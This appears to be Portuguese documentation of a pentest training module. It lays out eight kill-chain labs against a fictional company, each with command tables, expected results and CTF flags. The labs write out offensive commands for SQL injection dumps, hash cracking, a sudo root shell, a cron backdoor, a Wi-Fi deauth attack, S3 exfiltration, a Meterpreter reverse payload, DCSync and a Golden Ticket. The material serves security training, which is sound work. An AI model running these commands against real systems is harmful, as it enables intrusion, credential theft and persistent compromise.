Hands-On Labs¶
Fonte: javascript/pentest/pentest.js — PentestModule.LABS (aba 🧪 HANDS-ON LABS). 8 laboratórios práticos, cada um mapeado a uma fase do kill chain, com cenário, comandos, resultado esperado, achados e flag de conclusão — no espírito ágil, cada lab é uma história de usuário hands-on entregável de forma independente.
LAB 01 · OSINT & DNS Recon 🔍¶
- Fase: Reconhecimento · Dificuldade: Iniciante · Duração: 30min
- Objetivo: Realizar reconhecimento passivo do alvo usando técnicas OSINT e enumeração DNS.
- Cenário: Pentest na empresa fictícia "TargetCorp" — mapear infraestrutura pública antes de qualquer interação técnica.
| Comando | Descrição | Resultado esperado |
|---|---|---|
whois targetcorp.com.br |
Consulta WHOIS — proprietário, DNS, datas | Registrant + NS |
dig targetcorp.com.br ANY |
Enumeração DNS completa | Registros A, MX, TXT |
theHarvester -d targetcorp.com.br -b google,linkedin |
Coleta de emails e subdomínios | Emails + subdomínios (vpn, dev, api) |
shodan search "targetcorp.com.br" org:"TargetCorp" |
Busca Shodan | IP + portas + versão Apache/Ubuntu |
site:targetcorp.com.br filetype:pdf OR filetype:docx |
Google Dork para metadados | Documentos públicos com metadados |
Achados: 2 servidores de e-mail · 3 subdomínios (vpn, dev, api) · Apache 2.4.41 exposto (CVE-2021-41773) · 4 e-mails coletados.
Flag: FLAG{osint_vpn_api_dev_exposed}
LAB 02 · Nmap & Vulnerability Scan 📡¶
- Fase: Scanning · Dificuldade: Iniciante · Duração: 45min
- Objetivo: Executar varredura de portas e identificar vulnerabilidades no alvo do Lab 01.
| Comando | Descrição | Resultado esperado |
|---|---|---|
nmap -sS -p- --open -T4 198.51.100.42 |
SYN Scan completo | 22/80/443/8080 abertas |
nmap -sV -sC -p 22,80,443,8080 198.51.100.42 |
Versões + scripts NSE | OpenSSH 7.4, Apache 2.4.41, WordPress 5.8 |
nmap --script vuln -p 80,443 198.51.100.42 |
Scripts NSE de vulnerabilidades | CVE-2021-41773, CVE-2020-11738 |
nikto -h http://198.51.100.42 -ssl |
Scanner web Nikto | Headers ausentes, /wp-admin/ acessível |
gobuster dir -u http://198.51.100.42 -w common.txt |
Enumeração de diretórios | .git exposto (crítico!) |
Achados: CVE-2021-41773 confirmada (CVSS 9.8) · repositório .git exposto · phpinfo.php exposto · /wp-admin/ sem rate limiting.
Flag: FLAG{git_exposed_cve_9_8_critical}
LAB 03 · SQL Injection com SQLMap ⚡¶
- Fase: Exploração · Dificuldade: Intermediário · Duração: 60min
- Objetivo: Explorar SQL Injection em formulário de login e extrair dados do banco.
| Comando | Descrição | Resultado esperado |
|---|---|---|
sqlmap -u '.../api/login' --data='{...}' --level=5 --risk=3 |
Detecção automática de SQLi | Parâmetro vulnerável, DBMS MySQL 8.0 |
sqlmap -u ... --dbs |
Enumeração de bancos | targetcorp_prod, wordpress |
sqlmap -u ... -D targetcorp_prod --tables |
Listagem de tabelas | tb_credenciais, tb_usuarios |
sqlmap -u ... -D targetcorp_prod -T tb_credenciais --dump |
Extração da tabela | Hashes bcrypt extraídos |
hashcat -m 3200 hashes.txt rockyou.txt |
Quebra de hashes bcrypt | 3 senhas quebradas em 15min |
Achados: SQLi UNION-based (CVSS 9.8) · banco comprometido · 12 hashes extraídos · 3 senhas quebradas.
Flag: FLAG{sqli_union_creds_dumped_admin}
LAB 04 · Linux Privilege Escalation 🏴¶
- Fase: Pós-Exploração · Dificuldade: Avançado · Duração: 90min
- Objetivo: Escalar privilégios de
www-datapararootvia SUID e sudo misconfiguration.
| Comando | Descrição | Resultado esperado |
|---|---|---|
id && whoami && uname -a |
Verificação inicial | uid=33(www-data) |
sudo -l |
Comandos sudo sem senha | NOPASSWD: /usr/bin/python3 |
sudo python3 -c "import os; os.execl('/bin/sh','sh','-p')" |
Exploração sudo python3 | Shell root obtida |
find / -perm -4000 -type f 2>/dev/null |
Busca SUID | Binários com SUID (GTFOBins) |
echo "* * * * * root /tmp/.backdoor" >> /etc/crontab |
Persistência via cron | Backdoor reversa a cada minuto |
Achados: Root via sudo python3 misconfiguration · SUID em /usr/bin/find · persistência via cron root.
Flag: FLAG{root_sudo_python3_persistence}
LAB 05 · Relatório Técnico CVSS 📋¶
- Fase: Relatório · Dificuldade: Intermediário · Duração: 45min
- Objetivo: Calcular CVSS v3.1 e redigir seção de relatório técnico da SQLi encontrada.
| Item | Descrição | Resultado esperado |
|---|---|---|
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Vetor CVSS da SQLi crítica | Base Score 10.0 · Severity CRITICAL |
| Impacto de Negócio (LGPD Art. 48) | Classificação de impacto | Multa potencial R$ 50M (ANPD) |
| Remediação P1 (48h) | Prepared Statements | Elimina SQLi |
| Remediação P2 | WAF + Rate Limiting | Defesa em profundidade |
| Retesting (15 dias úteis) | Confirmação de patch | Parâmetro corrigido ✓ |
Achados: SQLi CVSS 10.0 (48h) · Path Traversal CVSS 9.8 (72h) · .git exposto CVSS 7.5 (1h) · phpinfo CVSS 5.3 (4h).
Flag: FLAG{report_cvss10_remediation_lgpd}
LAB 06 · Wireless WPA2 Attack 📶¶
- Fase: Scanning · Dificuldade: Intermediário · Duração: 60min
- Objetivo: Capturar handshake WPA2 e comprometer a rede Wi-Fi corporativa via dicionário.
| Comando | Descrição | Resultado esperado |
|---|---|---|
airmon-ng check kill && airmon-ng start wlan0 |
Modo monitor | wlan0mon ativa |
airodump-ng wlan0mon --band abg |
Varredura passiva | BSSID + ESSID TargetCorp-WiFi |
airodump-ng -c 6 --bssid ... -w capture wlan0mon |
Captura focada | Aguardando handshake |
aireplay-ng -0 5 -a ... -c ... wlan0mon |
Deauth attack | Handshake WPA capturado |
hashcat -m 22000 capture.hc22000 rockyou.txt -r best64.rule |
Quebra do handshake | Senha corporativa quebrada |
Achados: WPA2-PMKID capturado em 4s · senha corporativa padrão · acesso à rede interna (47 dispositivos).
Flag: FLAG{wpa2_deauth_hashcat_corporate_pwned}
LAB 07 · AWS IAM Privilege Escalation ☁️¶
- Fase: Exploração · Dificuldade: Avançado · Duração: 90min
- Objetivo: Explorar credenciais AWS expostas em repositório público e escalar via IAM misconfiguration.
| Comando | Descrição | Resultado esperado |
|---|---|---|
trufflehog github --repo ... --only-verified |
Scan de segredos no repo | Credenciais AWS verificadas ativas |
aws sts get-caller-identity --profile compromised |
Verificar identidade | Conta + ARN do usuário |
pacu --module iam__enum_permissions |
Enumerar permissões IAM | 23 permissões identificadas |
pacu --module iam__privesc_scan |
Vetores de escalada IAM | CreatePolicyVersion explorável |
aws s3 sync s3://targetcorp-backups ./exfil/ |
Exfiltração S3 | 4.2 GB exfiltrados (LGPD) |
Achados: Credenciais expostas por 47 dias · escalada via iam:CreatePolicyVersion · AdministratorAccess obtido · 4.2GB exfiltrados.
Flag: FLAG{aws_iam_privesc_s3_exfil_admin}
LAB 08 · Red Team C2 & Persistence 🔴¶
- Fase: Pós-Exploração · Dificuldade: Expert · Duração: 120min
- Objetivo: Estabelecer C2 persistente, mover lateralmente no AD e comprometer o Domain Controller.
| Comando | Descrição | Resultado esperado |
|---|---|---|
msfvenom -p windows/x64/meterpreter/reverse_https ... |
Payload Meterpreter HTTPS | Payload gerado, evasão HTTPS |
Invoke-BloodHound -CollectionMethod All |
Coleta AD via BloodHound | 3847 usuários, 23 computadores mapeados |
crackmapexec smb 192.168.10.0/24 -u administrator -H ... |
Pass-the-Hash na rede | DC01 comprometido |
secretsdump.py TARGETCORP/administrator@... -hashes ... |
DCSync | 1247 hashes extraídos |
ticketer.py -nthash ... -domain TARGETCORP.LOCAL Administrator |
Golden Ticket | Persistência de 10 anos |
Achados: DC comprometido via Pass-the-Hash · DCSync com 1247 hashes · Golden Ticket · MITRE ATT&CK: T1003, T1021, T1558, T1550.
Flag: FLAG{dc_sync_golden_ticket_domain_owned}
Labs como histórias ágeis¶
| Lab | Fase | Story points sugeridos |
|---|---|---|
| 01 · OSINT & DNS Recon | Reconhecimento | 2 |
| 02 · Nmap & Vulnerability Scan | Scanning | 3 |
| 03 · SQL Injection com SQLMap | Exploração | 5 |
| 04 · Linux Privilege Escalation | Pós-Exploração | 5 |
| 05 · Relatório Técnico CVSS | Relatório | 3 |
| 06 · Wireless WPA2 Attack | Scanning | 5 |
| 07 · AWS IAM Privilege Escalation | Exploração | 8 |
| 08 · Red Team C2 & Persistence | Pós-Exploração | 8 |
Total: 39 story points — dá para uma sprint dedicada de "capacitação hands-on" no roadmap de treinamento da equipe de segurança.